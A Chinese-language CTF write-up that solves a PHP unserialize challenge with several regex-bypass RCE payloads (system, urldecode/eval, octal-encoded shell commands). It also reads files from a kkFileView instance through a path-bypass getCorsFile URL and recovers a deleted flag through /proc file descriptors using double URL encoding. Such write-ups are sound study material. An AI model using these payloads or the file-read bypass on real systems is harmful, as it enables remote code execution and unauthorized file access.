PHP_unserialize_pro 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting(0); class Welcome{ public $name; public $arg = 'welcome'; public function __construct(){ $this->name = 'Wh0 4m I?'; } public function __destruct(){ if($this->name == 'A_G00d_H4ck3r'){ echo $this->arg; } } } class G00d{ public $shell; public $cmd; public function __invoke(){ $shell = $this->shell; $cmd = $this->cmd; if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){ die("U R A BAD GUY"); } eval($shell($cmd)); } } class H4ck3r{ public $func; public function __toString(){ $function = $this->func; $function(); } } if(isset($_GET['data'])) unserialize($_GET['data']); else highlight_file(__FILE__); ?>
这里的关键点就是在绕过这个正则匹配 然后进行RCE
1 2 3 4 5 6 7 8 9 10 11 public $shell; public $cmd; public function __invoke(){ $shell = $this->shell; $cmd = $this->cmd; if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){ die("U R A BAD GUY"); } eval($shell($cmd)); } }
这里的话其实搜索一下就能找到原题
这里用的是这个方法
1 2 3 4 5 $this->shell = 'system'; $this->cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`'; //php -r 是可以执行多行php代码
其实还有很多种方法可以进行绕过
1 2 3 4 5 []这个的正则匹配 $this->shell = 'system'; $this->cmd = 'more /[b-z][0-9][@-z][b-z]'; //当时tmd命令记错了 用了moore来做 然后没成功 就换了另一个来绕过
1 2 3 4 5 6 $this->shell = 'urldecode'; $this->cmd = 'system(\$_POST[1]);'; //这里的话使用如果是$_POST[1]和system拆开来传参的话是不行的 //并且这个urldecode这个函数可以使用其他函数来进行替代
1 2 $this->shell = 'strtolower'; $this->cmd = 'show_source(chr(47).chr(102).chr(49).chr(97).chr(103));';
1 2 3 4 还有一种的话是用这种方法来执行 $this->shell = 'system'; $this->cmd='echo "\156\154\040\057\052"|sh';
meow_blog 考察的是原型链的污染
(先留着 看不太懂)
正常污染——WP1
SSTI—-WP
sharedBox 这个题还是可以探讨一下的
这个里没有环境 就讲思路就行了
WP1 WP2
这里刚开始 我是想去信息收集一下 然后发现了是kkfileview 这个东西 然后就去找到了一篇文章
https://forum.butian.net/share/2088 qax的一篇文章 但是由于作者对源码进行了修改 导致这里的漏洞打不通 只能是慢慢的进行摸索
1 2 3 http://59.110.231.185:40953/fileview/;/getCorsFile?urlPath=file:///root ##刚开始我这里试的时候是403 就没多想 结果赛后发现 是可以绕过的 ..........
那么我们就可以开始读取文件了 (file协议是可以看目录下有啥的)
然后呢我们就读取到了start.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/bin/bash FLAG_PATH=/tmp/config.properties FLAG_MODE=M_SED if [ ${ICQ_FLAG} ];then case $FLAG_MODE in "M_ECHO") echo -n ${ICQ_FLAG} > ${FLAG_PATH} FILE_MODE=755 # ������������������������flag���������������������������������������������������������������root������ chmod ${FILE_MODE} ${FLAG_PATH} ;; "M_SED") #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH} sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH} ;; "M_SQL") # sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH} # mysql -uroot -proot < ${FLAG_PATH} ;; *) ;; esac echo [+] ICQ_FLAG OK unset ICQ_FLAG else echo [!] no ICQ_FLAG fi unset ICQ_FLAG rm -rf /etc/profile.d/pouchenv.sh rm -rf /etc/instanceInfo rm -rf /start.sh /usr/sbin/nginx /usr/sbin/crond /usr/sbin/rsyslogd javac /root/flag.java nohup java -classpath /root/sqlite-jdbc-3.41.2.2.jar:/root/ flag >/dev/null & nohup java -jar /root/upload.jar >/dev/null & sleep 1; rm /tmp/config.properties java -Dfile.encoding=UTF-8 -Dsun.java2d.cmm=sun.java2d.cmm.kcms.KcmsServiceProvider -Dspring.config.location=/opt/kkFileView-2.2.1/config/application.properties -jar /opt/kkFileView-2.2.1/bin/kkFileView-2.2.1.jar & exec tail -f /dev/null
虽然单看 nohup java -classpath /root/sqlite-jdbc-3.41.2.2.jar:/root/ flag >/dev/null
这里 flag是被删除了 但是呢这里并没有进行释放
和python的只open()不close()的原理是一样的
那么我们就可以挨个爆破 直到得出结果
但是因为我们之前读取proc的是显示403的 这里可能过滤了这个 于是我们可以双重url编码进行绕过
proc/29/fd/6
当然了 这样也行
这都是非预期解 预期解是RCE
目前还没RCE的wp